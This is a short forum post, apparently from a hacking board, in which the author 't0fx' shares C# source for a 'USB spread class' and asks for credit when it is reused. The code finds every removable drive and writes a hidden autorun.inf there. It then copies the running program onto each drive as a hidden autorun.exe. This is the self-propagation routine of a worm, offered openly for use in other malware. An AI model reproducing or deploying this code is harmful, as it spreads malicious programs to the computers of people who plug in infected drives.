Author: t0fx
MfGCode://///////////////////////////////////////////////////////////// // USB spread class by t0fx, plz give credits if you use it !// /////////////////////////////////////////////////////////////// using System; using System.Net; using System.IO; using System.Management; using System.Collections.Generic; using System.Windows.Forms; class USBspread { static void Main(string[] args) { try { System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives(); // we find all removable drives foreach (System.IO.DriveInfo drive in drives) { if (drive.DriveType == DriveType.Removable) { StreamWriter sw = new StreamWriter(drive.Name + "autorun.inf"); // create the autorun.inf sw.WriteLine("[autorun]"); sw.WriteLine("open=autorun.exe"); sw.Close(); File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden); // We put autorun.inf hidden string appPath = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; try { File.Copy(appPath, drive.Name + "autorun.exe", true); // We copy our exe into the removable drive File.SetAttributes(drive.Name + "autorun.exe", File.GetAttributes(drive.Name + "autorun.exe") | FileAttributes.Hidden); // attribute hidden } finally { Console.WriteLine("Found removable drive {0}", drive.Name + "... // Successfully rooted! //"); } } else { Console.WriteLine("Not Removable drive : {0}", drive.Name); } } } catch (Exception e) { Console.WriteLine(e.ToString()); } } }

Zitieren

